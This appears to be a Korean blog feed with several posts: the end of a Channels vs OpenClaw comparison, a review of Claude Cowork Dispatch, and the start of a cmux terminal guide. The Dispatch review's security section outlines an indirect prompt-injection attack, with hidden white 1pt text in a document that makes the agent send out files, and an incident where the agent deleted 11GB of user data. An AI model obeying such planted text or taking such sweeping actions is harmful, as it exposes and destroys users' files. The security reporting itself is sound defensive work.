보안 요구	공식 지원 + 관리형 보안이 중요하다	자유도와 커스터마이징이 중요하다
플랫폼	텔레그램/디스코드면 충분하다	WhatsApp, Signal 등 다양한 앱이 필요하다
인프라	추가 서버 없이 내 PC만 쓰고 싶다	서버를 운영할 수 있다
LLM 선택	Claude Code 생태계에 올인했다	여러 LLM을 혼합 사용한다

핵심 요약

Channels는 Anthropic 공식, MCP 기반, 로컬 실행, 높은 보안. 세션 의존적이지만 로컬 프로젝트에 직접 접근 가능.
OpenClaw는 오픈소스, 서버 기반, 20개+ 플랫폼, 24/7 상시 실행. 자유도 높지만 보안은 직접 관리.
둘 다 리서치 프리뷰 / 초기 단계라는 점에서 "어떤 것이 절대적으로 낫다"고 단정하기는 이르다.
Channels의 플러그인 아키텍처는 향후 플랫폼 확장 가능성을 열어두고 있다.

개인적으로는 Claude Code를 주력으로 사용하는 개발자라면 Channels부터 시도해보는 것을 추천한다.

Fakechat으로 5분이면 체험할 수 있고, Telegram 설정도 5분이면 끝난다. 로컬 프로젝트에 직접 접근할 수 있다는 점이 실무에서는 결정적인 차이를 만든다.

반면 당장은 "다양한 메시징 플랫폼에서 접근해야 한다"라면 OpenClaw가 더 적합하다. 물론 보안 설정에 충분한 주의를 기울여야 한다.

커뮤니티 반응과 향후 전망

Channels 발표는 Hacker News에서 상위권에 올라 큰 관심을 모았다. "나도 지난주에 이걸 만들고 있었는데"라는 댓글이 다수 — 그만큼 수요가 컸다는 방증이다. 개발자들은 이미 Channels 위에 Agent HTTP(HTTP API 래퍼), Discord-to-tmux 브릿지 등 확장 프로젝트를 만들고 있다.
(출처: HN: Push events into a running session with channels)

Channels는 리서치 프리뷰 단계이며, Anthropic은 피드백을 기반으로 지원 플랫폼을 확장할 계획이다. OpenClaw가 개척한 "AI 에이전트를 메시징으로 제어"하는 패러다임이 이제 공식 제품으로 흡수되고 있다. 이 경쟁은 개발자 생태계 전체에 긍정적이다.

그런데 "OpenClaw 킬러"라는 말을 듣기엔 해당 기능으로만은 부족 하다.

Channels가 "메시징으로 Claude Code를 제어"하는 영역을 공략했다면, Anthropic에는 또 다른 카드가 있다 — Claude Computer Use. 텍스트 명령이 아니라 실제로 마우스를 클릭하고, 브라우저를 열고, GUI 앱을 조작하는 기능이다. OpenClaw가 "항상 켜진 메시징 에이전트"로 강점을 가진다면, Computer Use는 "화면을 직접 보는 에이전트"라는 전혀 다른 차원을 열어준다.

두 기능이 결합되면 — 텔레그램에서 명령을 보내고, Claude가 PC 화면을 조작하여 결과를 돌려주는 시나리오 — OpenClaw가 점령하던 영역이 상당 부분 대체될 수 있다. 이 주제는 다음 글에서 자세히 다룬다.

▶ 다음 글: Claude Computer Use 완전 정복 — 화면을 직접 제어하는 AI 에이전트

참고 자료

Claude Cowork Dispatch 리뷰 - 외출 중에도 AI가 내 컴퓨터에서 일 시키기

갓대희 — Mon, 23 Mar 2026 19:00:22 +0900

안녕하세요! 갓대희 입니다.

오늘은 2026년 3월 16일 Anthropic이 연구 프리뷰로 출시한 Claude Cowork의 새 기능 Dispatch에 대해 알아보려고 한다.

Dispatch는 간단히 말하면 폰으로 집 컴퓨터의 Claude에게 일을 시키는 기능이다. 외출 중에 스마트폰으로 "이 파일 분석해서 보고서 작성해줘"라고 지시하면, 집에 있는 데스크탑의 Claude가 로컬 파일과 연동 앱에 접근해서 작업을 처리한다.

그리고 이 기능이 출시된 타이밍이 흥미롭다. 3월 16일 NVIDIA CEO 젠슨 황이 GTC 2026 기조연설에서 "모든 기업은 OpenClaw 전략이 필요하다"고 선언한 바로 다음 날이었다. 업계는 즉각 Anthropic이 자신들만의 방식으로 응수했다고 읽었다.

Dispatch 소개
- 왜 지금 이 기능인가 — 젠슨 황과 OpenClaw
- Dispatch란 무엇인가
- Cowork와의 관계
Cowork 간단 복습
- Cowork란
- 일반 Claude와의 차이
- 커넥터와 플러그인
Dispatch 작동 원리
- QR코드 페어링
- 하나의 지속적인 대화 스레드
- 어떤 작업이 가능한가
주의사항
할 수 있는 작업들
- 실전 사용 사례
- 접근 가능한 커넥터
현재 한계와 솔직한 평가
- MacStories 실전 테스트 결과
- 현재 제약사항
- 문제 상황별 대처
OpenClaw vs Dispatch 비교
- 구조적 차이
- 누구에게 어떤 선택이 맞는가
구독 플랜
커뮤니티 반응
결론

Claude Cowork Dispatch 가이드
Dispatch는 폰과 데스크탑 사이에 하나의 지속적인 대화 스레드를 만들어, 외출 중에도 집 컴퓨터의 Claude에게 로컬 파일 및 앱 작업을 지시할 수 있게 하는 기능이다.
2026년 3월 17일 Research Preview로 출시됐으며, Max 플랜은 즉시, Pro 플랜은 며칠 내 순차 확장된다.

1. Dispatch 소개

왜 지금 이 기능인가 — 젠슨 황과 OpenClaw

Dispatch를 이해하려면 먼저 출시 타이밍을 짚어야 한다.

2026년 3월 17일, NVIDIA CEO 젠슨 황은 GTC 2026 기조연설에서 오픈소스 AI 에이전트 OpenClaw를 언급하며 이런 발언을 했다.

"모든 기업은 OpenClaw 전략이 필요하다. 이것이 새로운 컴퓨터다. 마치 우리 모두가 Linux 전략이 필요했고, HTTP HTML 전략이 필요했던 것처럼."
— Jensen Huang, NVIDIA GTC 2026 기조연설 (2026년 3월 16일)

그리고 GTC 기조연설 바로 다음 날인 3월 17일, Anthropic이 Dispatch를 출시했다. 업계는 즉각 "Anthropic이 자체 OpenClaw를 만들었다"고 반응했다.

OpenClaw란?

오스트리아 개발자 Peter Steinberger가 만든 오픈소스 AI 에이전트 프레임워크. WhatsApp, Telegram, iMessage 등 20개 이상의 메신저를 통해 로컬 에이전트와 대화하며, 머신에서 상시 실행되는 구조다. 2026년 1~2월에 바이럴로 성장해 GitHub 스타 33만 개 이상을 기록했다(2026년 3월 기준). OpenClaw와 Dispatch의 구조적 차이는 이후에 자세히 다룬다.

Dispatch란 무엇인가

Anthropic 공식 지원 문서는 Dispatch를 이렇게 정의한다.

"Cowork gives you one continuous conversation with Claude that you can reach from your phone or your desktop. You can assign Claude a task, go do something else, and come back to the finished work. Claude runs on your computer—with access to your local files, connectors, and plugins—and messages you the result when it's done."
(Cowork는 휴대폰과 데스크톱 어디서든 이어서 접근할 수 있는, Claude와의 하나의 연속된 대화를 제공합니다. Claude에게 작업을 맡겨두고 다른 일을 하러 간 뒤, 끝난 결과를 나중에 다시 확인할 수 있습니다. Claude는 당신의 컴퓨터에서 직접 실행되며, 로컬 파일(local files), 커넥터(connectors), 플러그인(plugins)에 접근할 수 있고, 작업이 끝나면 결과를 메시지로 알려줍니다.)
— Anthropic 공식 지원 문서 (support.claude.com)

풀어서 말하면 이렇다.

폰과 데스크탑이 하나의 대화를 공유한다. 폰에서 지시하면 집 컴퓨터가 실행한다.
작업을 위임하고 자리를 비울 수 있다. 결과가 나오면 돌아와서 확인하는 방식이다.
데스크탑의 파일, 커넥터, 플러그인 접근 권한을 그대로 활용한다. 폰에서 직접 할 수 없는 작업도 데스크탑을 통해 처리된다.

Cowork와의 관계

Dispatch는 독립 기능이 아니라 Cowork의 하위 기능이다. Cowork를 설치하지 않으면 Dispatch를 사용할 수 없다. Cowork에서 설정해둔 커넥터와 플러그인, 파일 접근 권한을 Dispatch가 그대로 상속해서 폰에서도 같은 범위의 작업을 지시할 수 있다.

Remote Control과 Dispatch는 다른 기능이다

Claude Code(CLI)에는 별도의 Remote Control 기능이 있다. 터미널 세션을 웹/모바일에서 원격으로 접근하는 기능이다. Dispatch는 Claude Cowork(데스크탑 앱)에서만 동작하며, CLI와는 무관하다.

2. Cowork 간단 복습

Cowork란

Cowork는 2026년 1월 출시된 Claude Desktop 앱의 기능이다. 기존 Claude는 프롬프트 하나에 응답하고 끝났다. Cowork는 차별점이 있다. 멀티스텝 목표를 받아 계획을 수립하고 실행하는 지속적 에이전트 세션이다.

Anthropic이 직접 표현한 포지셔닝이 있다. "AI 탭을 방문하는 게 아니라 위임하는 동료"다. 대화창을 닫아도 맥락이 유지되고, 로컬 파일, 커넥터, 플러그인에 접근하면서 작업을 완료할 때까지 실행된다.

일반 Claude와의 차이

항목	일반 Claude	Cowork
작업 방식	프롬프트 → 응답 1회	멀티스텝 목표 → 계획 → 실행
실행 환경	클라우드 전용	로컬 파일 + 앱 + 클라우드 커넥터
세션 지속성	창 닫으면 종료	앱 실행 중 계속 유지
사용자 확인	매 응답마다	정해진 체크포인트에서만
원격 접근	불가	Dispatch로 가능 (신규)

커넥터와 플러그인

Cowork는 현재 38개 이상의 커넥터를 지원한다. 주요 커넥터는 다음과 같다.

Gmail, Google Drive, Google Calendar
Microsoft 365 (Outlook, OneDrive)
Slack, Notion, Linear
GitHub, DocuSign 등

3. Dispatch 작동 원리

QR코드 페어링 방식

연결 방법은 간단하다.

1. Claude Desktop의 Cowork에서 Dispatch 클릭

2. QR코드 생성

- 앱이 설치 안되어있으면 QR 스캔

- 나의 경우 이미 설치 및 로그인 되어 있어서 휴대폰에 로그인되어 있습니다. 클릭

>>>>>>>> 여기서 잠깐 ................... 3월 24일경 Computer Use 기능이 생기면서
3월 24일 이후 Claude 앱을 업데이트 하고 난 뒤 Dispatch 기능을 설정하시는 경우 다음과 같이 한가지 더 설정 항목이 추가 되었을 것 이다.

computer use에 대해서는 별도로 작성해 두었다.

Claude Computer Use 리뷰 : AI가 내 컴퓨터를 조작한다 - 폰에서 지시하면 Mac이 혼자 일한다

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

3. Claude 모바일 앱으로 스캔

4. 페어링 완료 — 폰과 데스크탑이 하나의 대화를 공유

이후에는 폰에서 Claude 모바일 앱을 열면 바로 그 대화에 접근할 수 있다.

- 폰에서 작업하면

- PC의 cowork에서도 동일하게 동기화, 지시가 가능한 것을 볼 수 있다.

하나의 지속적인 대화 스레드

Dispatch는 단일 지속 스레드(single persistent conversation thread) 구조이다.

폰에서 보낸 메시지와 데스크탑에서 받은 메시지가 모두 같은 대화 안에 있다.

실제 흐름 예시

외출 중에 폰에서 "지난주 Slack 메시지에서 미팅 요약해서 Google Drive에 저장해줘" → 집 컴퓨터의 Claude가 Slack 커넥터로 메시지 검색, Drive 커넥터로 파일 생성 → 작업 완료 후 같은 대화 스레드에 결과 메시지 전송 → 카페에서 폰으로 확인

단, 현재는 스레드가 하나로 고정된다. 여러 스레드를 만들거나 관리하는 기능은 아직 없다.

어떤 작업이 가능한가

Anthropic 공식 문서에서 직접 언급한 사용 예시들이다.

로컬 스프레드시트에서 데이터를 가져와 요약 보고서 작성
Slack 메시지와 이메일을 검색해 브리핑 문서 초안 작성
Google Drive 파일로 포맷된 프레젠테이션 생성
컴퓨터 내 특정 폴더의 파일 정리

결국 폰으로 할 수 없는 작업을 데스크탑이 대신 처리하는 구조다. 데스크탑에 설정된 모든 커넥터, 플러그인, 파일 접근 권한이 그대로 활용된다.

4. 주의사항

필수 조건

중요: 구독 요구사항

Dispatch를 사용하려면 Max($100~$200/월) 또는 Pro($20/월) 구독이 필요하다.
2026년 3월 17일 기준 Max 플랜은 즉시 사용 가능, Pro 플랜은 며칠 내 순차 확장 중이다.

시작 전에 다음을 확인한다.

Max 또는 Pro 구독 상태 확인
Claude Desktop 앱 최신 버전 업데이트 — macOS / Windows 지원 (claude.com/download) 단, Windows에서는 설정 오류가 다수 보고되고 있어 현재 macOS가 안정적이다.
Claude 모바일 앱(iOS / Android) 최신 버전 업데이트
두 앱 모두 같은 계정으로 로그인

5. 할 수 있는 작업 예시

출근길 보고서 준비

지하철에서 폰으로 "오늘 오전 회의 전까지 Q1 실적 데이터 분석해서 요약 보고서 만들어줘"라고 지시한다.

집 컴퓨터의 Claude가 로컬 스프레드시트와 Google Drive를 열어 보고서를 작성한다. 회사 도착하면 완성된 문서가 있다.

실용 포인트: 폰에서는 로컬 파일에 접근할 수 없지만, Dispatch가 데스크탑 Claude를 통해 대신 처리한다.

회의 중 Slack 메시지 정리

회의 중 폰으로 "지난주 Slack #dev 채널 메시지 중 미결 사항만 추려서 리스트 만들어줘"라고 입력한다. 회의가 끝날 때쯤 정리된 리스트를 볼 수 있다.

장기 작업 위임 후 자리 비우기

무거운 데이터 처리나 문서 생성처럼 시간이 걸리는 작업을 지시하고, 외출하거나 다른 일을 한다. 돌아와서 Dispatch 대화를 확인하면 결과가 나와 있다.

주의: 현재 작업 완료 알림(푸시 알림)이 없다. 결과를 확인하려면 직접 대화창을 열어야 한다.

접근 가능한 커넥터

Cowork에 설정된 커넥터라면 Dispatch에서도 모두 활용할 수 있다. 현재 지원되는 주요 커넥터다.

카테고리	커넥터
구글	Gmail, Google Drive, Google Calendar
마이크로소프트	Microsoft 365 (Outlook, OneDrive)
협업 툴	Slack, Notion, Linear
개발	GitHub
기타	DocuSign 등 (총 38개 이상)

6. 현재 한계와 솔직한 평가

MacStories 실전 테스트 결과

MacStories가 Dispatch 출시 직후 직접 테스트한 결과가 있다.

MacStories 테스트 결과 요약

다양한 작업 테스트 → 절반 정도만 성공
전반적으로 느리고 불안정
성공: 파일/데이터 검색·요약, 커넥터 연동 작업
실패: Shortcuts 앱 열기, iMessage로 스크린샷 전송, Terminal 세션 목록 조회, Safari 탭 URL 가져오기

MacStories의 총평이다.

"자리를 비웠을 때 의존하기엔 충분하지 않다. 하지만 Claude의 다른 모바일 기능들과 함께 보면 여전히 가능성이 있다."
— MacStories, Dispatch 핸즈온 리뷰

Research Preview 단계임을 감안하면 이해할 수 있는 결과다. 지금 당장 업무를 완전히 맡기기보다는, 단순한 조회·요약 작업부터 써보면서 익히는 게 현실적이며, 금방 발전하지 않을까?

현재 제약사항

데스크탑 상시 실행 필요: 컴퓨터가 켜져 있고 Claude Desktop 앱이 열려 있어야 한다. 백그라운드 서비스로 자동 실행되지 않는다.
작업 완료 알림 없음: 모바일이나 데스크탑 모두 작업이 끝나도 푸시 알림이 오지 않는다. 직접 대화창을 열어서 확인해야 한다.
단일 스레드: 대화 스레드가 하나만 유지된다. 여러 스레드를 동시에 관리하거나 새 스레드를 시작하는 기능이 없다.
Claude가 먼저 연락하지 않음: 사용자가 지시한 작업만 수행한다. 자발적으로 업데이트를 보내거나 먼저 연락하지 않는다.
Research Preview 단계: 아직 실험적 기능이다. 안정성과 신뢰도가 계속 개선되고 있는 중이다.

문제 상황별 대처

QR코드 스캔이 안 될 때: 데스크탑과 모바일 앱이 같은 계정으로 로그인되어 있는지 확인한다. 앱 버전이 최신인지도 체크한다.
페어링 후 연결이 끊어질 때: 데스크탑이 슬립 모드로 전환되거나 Claude 앱이 종료된 경우다. 앱을 다시 열고 Dispatch에서 재연결한다.
작업 지시 후 아무 반응이 없을 때: 데스크탑에서 Claude 앱이 실행 중인지 확인한다. 앱이 닫혀 있으면 Dispatch가 동작하지 않는다.
완료 여부를 모를 때: 알림이 없으므로 직접 대화창을 열어서 확인해야 한다. 긴 작업을 지시할 때는 예상 소요 시간을 함께 물어보는 것도 방법이다.

7. OpenClaw vs Dispatch 비교

구조적 차이

업계에서 자주 등장하는 비교가 "OpenClaw = 로컬 GPU 실행, Dispatch = 클라우드 모델 + 로컬 파일 접근"이다. 이 표현은 부분적으로만 정확하다. 실제 구조를 정리하면 이렇다.

항목	OpenClaw	Dispatch (Cowork)
소스	오픈소스 (자가 호스팅 가능)	클로즈드 소스 (Anthropic 독점)
AI 모델	Claude, GPT, 로컬 모델(Ollama) 선택	Anthropic 클라우드 모델만 지원
에이전트 실행	에이전트 로직은 로컬, 모델은 클라우드 API 경유 (하이브리드)	에이전트 로직은 로컬 데스크탑, Claude 모델은 Anthropic 클라우드
가격	모델 API 비용 별도	Max $100~/월 또는 Pro $20/월
설정 난이도	중간 (기술적 설정 필요 / 물론 요즘엔 딸깍 설정도 존재)	낮음 (QR코드 스캔으로 완료)
프라이버시	자가 호스팅 시 완전 로컬 가능	Anthropic 클라우드를 통한 브릿지

OpenClaw에 대한 오해 하나

"OpenClaw = 로컬 GPU 실행"이라고 알려져 있지만, 대부분의 사용자는 Claude API나 GPT API를 사용한다.
즉, 에이전트 로직은 로컬, 모델 추론은 클라우드인 하이브리드 구조가 일반적이다.
순수 로컬 실행(NVIDIA RTX + Ollama)은 가능하지만 주류 사용 패턴은 아니다.

누구에게 어떤 선택이 맞는가

OpenClaw가 맞는 경우

다양한 메신저(WhatsApp, Telegram 등)로 접근하고 싶은 경우
모델을 직접 선택하거나 로컬 모델을 사용하고 싶은 경우
오픈소스 / 자가 호스팅을 원하는 경우
기술적 설정에 익숙한 개발자

Dispatch(Cowork)가 맞는 경우

이미 Claude Pro/Max 구독 중인 경우
설정 없이 바로 시작하고 싶은 경우
Cowork의 38개 이상 커넥터 생태계를 활용 중인 경우
Anthropic 공식 통합과 보안 모델을 선호하는 경우

같은 방향이지만 전략이 다르다. 오픈소스 생태계 vs 구독 기반 통합 경험.

8. 구독 플랜

Dispatch 이용 가능한 플랜이다. (2026년 3월 17일 출시 기준)

플랜	가격	Dispatch 이용
Max	$100~$200/월	즉시 사용 가능
Pro	$20/월	며칠 내 순차 확장
Free	무료	지원 안 함

참고: Cowork 자체는 Pro, Max, Team, Enterprise 플랜에서 사용 가능하다. Dispatch가 Team/Enterprise에서도 지원되는지는 2026년 3월 기준 공식 문서에서 명확히 확인되지 않았다.

9. 커뮤니티 반응

출시 직후 다양한 커뮤니티에서 반응이 쏟아졌다.
크게 보면 "방향은 맞다, 실행은 아직이다(great direction, questionable execution)"로 수렴한다.

"OpenClaw 킬러" 논쟁

출시 당일 X에서 가장 뜨거웠던 키워드는 "OpenClaw killer"였다.

Anthropic 엔지니어 Felix Rieseberg의 발표 포스트가 약 600만 뷰, 17,000+ 좋아요를 기록하며 불을 붙였다.

"We're shipping a new feature in Claude Cowork as a research preview that I'm excited about: Dispatch! One persistent conversation with Claude that runs on your computer. Message it from your phone. Come back to finished work."
— Felix Rieseberg (@felixrieseberg), Anthropic 엔지니어

Claude Code 창시자 Boris Cherny는 한 줄로 요약했다. "You can now touch grass in Cowork, too." (인터넷 밈 "touch grass" = 컴퓨터 앞에서 벗어나라는 뜻. 이제 Cowork 쓰면서 밖에 나갈 수 있다는 의미다.)

Wharton 교수 Ethan Mollick은 전략적 관점에서 평가했다.

"Claude Cowork Dispatch covers 90% of what I was trying to use OpenClaw for, but feels far less likely to upload my entire drive to a malware site."
— Ethan Mollick (@emollick), Wharton 교수 (Latent Space AINews 인용, 91,500뷰)

"OpenClaw 킬러" 쪽 반응도 거셌다.

@BentoBoiNFT: "Claude just killed OpenClaw with this update. You no longer need to buy a Mac Mini. I say this as someone who owns one lol"
@NikolaiHauckx: "Claude Dispatch just one-shotted OpenClaw."
@JulianGoldieSEO: "No more buggy, technical setups. No more expensive API token drains."

출시 당일의 밈을 한 줄로 요약하면 이렇다. "Anthropic built OpenClaw faster than OpenAI."

불만 사항 — 반복되는 문제들

문제	상세
신뢰성	복잡한 다단계 작업에서 중간에 멈추거나 지시를 잘못 해석하는 사례 빈번
Windows 지원	설정 실패, 가상화 에러, Windows Home/ARM 미지원 등 문제 다수 보고
토큰 소모	"Cowork가 할당량을 gobbles(폭식)한다" — Pro/Max 할당량이 너무 빨리 소진된다는 불만
Mac 슬립	Mac 덮개를 닫거나 슬립 모드에 들어가면 Dispatch가 끊김 — 현재 공식 우회법 없음
단일 스레드	대화가 1개 스레드에 고정되며, 완료 알림(푸시)도 없음
메모리 없음	세션 간 기억 유지가 안 됨 — Global Instructions에 저장하는 것이 우회법

Hacker News

Hacker News에서는 냉정한 평가가 지배적이었다.

"catch-up move, not a breakthrough" — 따라잡기지 돌파구는 아니다
보안이 핵심 관심사: 폰 명령이 데스크탑의 파일/브라우저/커넥터에 접근하는 구조적 리스크
"unbounded agent" 보다 scoped permissions + human approval을 선호하는 의견 다수
제품 파편화 비판: Claude의 기능/인터페이스가 너무 많아 혼란스럽다는 지적
그러나 "이 방향은 불가피하다"는 점에서는 대체로 동의. 이미 SSH/tmux/Telegram 봇으로 비슷한 워크플로우를 운영하는 유저도 다수

(참고: Hacker News 스레드 news.ycombinator.com/item?id=47461151)

한국 커뮤니티

한국에서도 반응이 있었다. 전반적으로 "전략적으로 인상적, 운영적으로 회의적"이라는 평가다.

GeekNews (news.hada.io): "Claude Cowork Dispatch — 어디서든 Claude에게 작업시키기" 게시물 등록. 다만 Dispatch 자체보다 Cowork가 macOS에 10GB VM 번들을 조용히 생성하는 것에 대한 불만이 더 큰 관심을 받았다.
GPTers (gpters.org): "Claude Cowork 사용법 총정리 — Dispatch부터 플러그인까지" 가이드 게시. Windows 지원 요청이 다수 달렸다 (아시아 시장에 Windows 유저가 많다).
Brunch: Claude Code의 Remote Control 개념을 비개발자용 Cowork 환경에 적용한 것이라는 분석.
Threads (@choi.openai): "로컬 샌드박스 환경에서 코드가 실행되어 파일이 외부로 나가지 않고, 접근 권한도 사용자 승인 후 진행"이라며 보안 구조를 소개.

보안 커뮤니티의 경고

Dispatch 출시를 전후로 Cowork의 보안 취약점에 대한 경고도 이어졌다.

11GB 파일 삭제 사건 — 2026년 1월, YouTube 크리에이터 James McAulay가 Cowork출시 직후 Cowork에 "파일을 논리적으로 정리해줘"라고 지시했더니 11GB가 삭제된 사건이 바이럴됐다. 작업 목록에 "Delete user data folder: Completed"가 표시된 스크린샷이 퍼졌다. 삭제된 파일이 중요하지 않았다고 밝혔지만, 커뮤니티에서는 "비기술 사용자가 타겟인데, 그 사용자들은 rm -rf가 뭔지 모른다"는 점이 핵심 우려로 지목됐다.

PromptArmor 파일 탈취 취약점 — 보안 연구 업체 PromptArmor는 2026년 1월, 간접 프롬프트 인젝션을 통한 파일 탈취 공격을 시연했다. 공격 경로는 이렇다.

사용자가 Cowork에 로컬 폴더 접근 권한 부여
해당 폴더에 숨겨진 프롬프트 인젝션이 포함된 문서 존재 (1pt 폰트, 흰색 글씨)
Cowork가 파일 분석 시 인젝션 자동 트리거
공격자의 API 키로 피해자 파일이 외부로 유출

보안 연구자 Simon Willison은 이를 "lethal trifecta"(치명적 3요소)로 불렀다. 개인 데이터 접근 + 신뢰할 수 없는 입력 노출 + 외부 통신 능력이 동시에 존재하는 구조다.

2026년 3월 20일에는 CVE-2026-33068(Claude Code 2.1.53 이전, workspace trust 우회 취약점)도 공개됐다.

Cowork / Dispatch 사용 시 주의사항

중요한 파일이 있는 폴더는 접근 범위에서 제외하거나 주기적으로 백업
"정리해줘", "삭제해줘" 같은 광범위한 지시는 구체적으로 범위를 한정해서 요청
외부에서 받은 문서를 Cowork으로 분석할 때는 출처를 신뢰할 수 있는지 먼저 확인
첫 사용 시에는 중요하지 않은 파일로 먼저 테스트

TIP

#	팁	출처
1	구체적 파일 경로 지정 — "find my budget somewhere"보다 "Check /projects/Q1/budget.xlsx"가 성공률이 훨씬 높다	Reddit
2	결과물 중심 프롬프트 — 단계별로 지시하지 말고, "X를 Y 형식으로 이 폴더에 만들어줘"처럼 결과를 지정	공식 문서
3	Mac 슬립 방지 설정 — System Settings > Energy > "Put hard disks to sleep when possible" 끄기. 덮개 닫으면 Dispatch 끊김	Reddit
4	커넥터는 미리 설정 — 원격으로 새 커넥터를 설정하려 하지 말 것. 데스크에서 미리 완료해 두기	커뮤니티
5	복잡한 체이닝 피하기 — "이메일 요약"은 잘 되지만, "이메일 요약 → Notion 페이지 생성 → 팀 공유"는 아직 불안정	MacStories
6	"실행 전 질문" 강제 — "먼저 확인 질문을 하고, 계획을 보여주고, 그 다음 실행해"라고 프롬프트에 포함	Reddit
7	전용 워크스페이스 폴더 — about-me.md, 스타일 규칙, 템플릿 등 컨텍스트 파일을 하나의 폴더에 모아두면 작업 품질이 크게 올라감	Reddit
8	메모리 우회법 — 세션 간 기억이 안 되므로 Global Instructions에 반복 필요 정보를 저장	Reddit
9	브라우저 자동화보다 커넥터/API 사용 — Chrome UI 조작은 느리고 불안정하니 가능하면 커넥터로 해결	Reddit
10	Sonnet으로 드래프트, Opus는 리뷰 — 사용량 관리 전략. 초안은 Sonnet, 최종 확인은 Opus로 나눠 쓰면 할당량 절약	Reddit

종합 — 커뮤니티가 내린 판정

반응	비중(추정)	핵심 키워드
열광	~50%	"OpenClaw killer", 패러다임 전환, Mac Mini 불필요
신중한 기대	~30%	컨셉은 좋다, 보안 장점, 그러나 Research Preview
회의적	~20%	50% 성공률, macOS 중심(Windows 불안정), 자기 진화 불가, 무료 OpenClaw 대비 유료

한 줄 요약: X에서의 지배적 내러티브는 "안전하고 세련된 OpenClaw", 리뷰어들의 합의는 "컨셉은 강하지만 성공률 50%로 실전 신뢰는 아직", 한국 커뮤니티는 "인상적이지만 Windows 지원과 10GB VM이 더 급하다".

10. 결론

Dispatch는 아직 Research Preview다. MacStories 테스트 기준 성공률 ~50%에 알림도 없고 스레드도 하나뿐이다.

그래도 방향은 뚜렷하다. 폰이 데스크탑 에이전트의 리모컨이 되는 것. OpenClaw든 Dispatch든 이 흐름을 향한다.

하루 간격으로, 젠슨 황이 OpenClaw 전략을 선언하고 Anthropic이 Dispatch를 출시했다. 같은 방향, 다른 전략. 어느 쪽이 더 일상에 파고들지는 앞으로 지켜볼 일이다.

Max 플랜이라면 바로 써볼 수 있다. Pro 플랜이라면 며칠 내다. 기대치를 Research Preview에 맞추고 시작하면 충분히 흥미로운 실험이 된다.

Dispatch 핵심 요약

기능: QR코드 페어링으로 폰 ↔ 데스크탑 하나의 지속 대화 스레드 공유
목적: 외출 중에도 집 컴퓨터의 Claude에게 로컬 파일·커넥터 작업 지시
출시: 2026년 3월 17일 Research Preview (Max 즉시, Pro 며칠 내)
한계: 성공률 ~50%, 알림 없음, 단일 스레드, 데스크탑 상시 실행 필요
OpenClaw 비교: 오픈소스 vs 구독, 메신저 자유도 vs 통합 경험

참고 자료

Anthropic 공식 지원 문서 — Assign tasks to Claude from anywhere in Cowork (support.claude.com)
MacStories — Hands-On with Claude Dispatch for Cowork
Latent.space AINews — Claude Cowork Dispatch: Anthropic's Answer to OpenClaw
The New Stack — Claude Dispatch Versus OpenClaw (thenewstack.io)
CNBC — NVIDIA GTC 2026, Jensen Huang OpenClaw 발언
PromptArmor — Claude Cowork Exfiltrates Files (promptarmor.com)
Simon Willison — Lethal Trifecta 분석 (simonwillison.net)
Hacker News — Claude Dispatch 토론 (news.ycombinator.com/item?id=47461151)
GeekNews — Claude Cowork Dispatch (news.hada.io/topic?id=27605)
GPTers — Claude Cowork 사용법 총정리 (gpters.org)
Reddit r/ClaudeAI, r/Anthropic, r/ClaudeCowork — 커뮤니티 반응 및 실사용 팁

cmux란? cmux 설치 및 사용해보기 - AI 에이전트를 위해 설계된 터미널(cmux vs tmux 비교)

갓대희 — Mon, 23 Mar 2026 00:14:41 +0900

안녕하세요! 갓대희 입니다.

오늘은 AI 코딩 에이전트를 터미널에서 본격적으로 활용하는 사람이라면 알아두면 좋은 도구, cmux에 대해 다뤄보려 한다.

Claude Code, OpenAI Codex, Gemini CLI 등 다양한 AI 에이전트를 터미널에서 병렬로 돌리다 보면 tmux만으로는 한계를 느끼게 된다. 브라우저를 따로 띄워야 하고, 에이전트 간 상태 공유가 안 되고, 사이드바에 진행률을 표시할 방법도 없다. cmux는 이런 문제를 네이티브 레벨에서 해결하는 AI 에이전트 전용 터미널이다.

이렇게도 사용 가능 하다는것을 개념적으로 이해하는 것을 목표로 글을 작성해보려고 한다.

(예제 : 내 바이브 코딩용 사이트 분석 https://goddaehee.co.kr)

좌상단 : 오케스트레이션 Agent - Claude Code

우상단 : Cmux 내장 브라우저

좌하단 : 디자인 전문 Agent - Claude Code

우하단 : 디자인 전문 Agent - Codex

- 작업 중인 모습

- 작업 완료 : 최종 결과를 에이전틱 Agent가 알아서 요약까지 완료 한 모습

- 내 메인 에이전트의 작업 진행률, 진행 상황을 알려주는 모습.

- 특정 에이전트의 작업 알림도 계속 받아 볼 수 있다.

이런식으로 Cmux륽 잘 활용하기 위한 사람들, 개발자들을 위한 기초개념을 목표 / 기본 이론적인 부분을 잘 정리해보고자 하는것을 목표로 한다.

cmux란 무엇인가
- tmux의 한계와 cmux의 등장
- tmux vs cmux 비교
설치 및 환경 확인
핵심 개념: 계층 구조와 환경변수
기본 CLI 명령어 레퍼런스
- 워크스페이스 관리
- 패인 분할과 서피스
- 텍스트 전송과 출력 캡처
AI 에이전트 핵심: 출력 캡처와 동기화
내장 브라우저 자동화
사이드바: 알림, 진행률, 상태 표시
tmux에서 cmux로 마이그레이션

실전 활용

실전: Claude Code + cmux 연동
실습: 멀티에이전트 병렬 실행
실습: 개발서버 + 브라우저 E2E 검증
Claude Code / OMC 통합 가이드

심화 분석

경쟁 도구 생태계 (Claude Squad, Pane, Amux, Calyx 비교)
커뮤니티 반응
제한사항과 미래 전망
트러블슈팅
자주 묻는 질문 (FAQ)
참고 자료

cmux 주요 요약
cmux는 AI 코딩 에이전트를 위해 설계된 macOS 네이티브 터미널이다. 내장 WebKit 브라우저, Unix socket API, 사이드바 알림 시스템, tmux 호환 명령어를 제공하며, Claude Code/Codex/Gemini CLI를 병렬로 실행하고 프로그래밍 방식으로 제어할 수 있다. 이 글에서는 설치부터 실전 멀티에이전트 운용, 경쟁 도구 비교, 커뮤니티 반응까지 단계별로 안내한다.

1. cmux란 무엇인가

cmux는 manaflow-ai가 개발한 AI 코딩 에이전트 전용 macOS 네이티브 터미널이다. 2026년 1월 최초 공개 후 2월 'cmux'로 정식 출시되어 GitHub 9.9k+ 스타를 기록 중이다(2026년 3월 기준). Ghostty의 렌더링 엔진(libghostty)을 사용하며, Swift + AppKit으로 구축된 네이티브 앱이다.

tmux의 한계와 cmux의 등장

tmux는 수십 년간 터미널 멀티플렉서의 표준이었다. 하지만 AI 에이전트를 본격적으로 운용하다 보면 이런 한계에 부딪힌다:

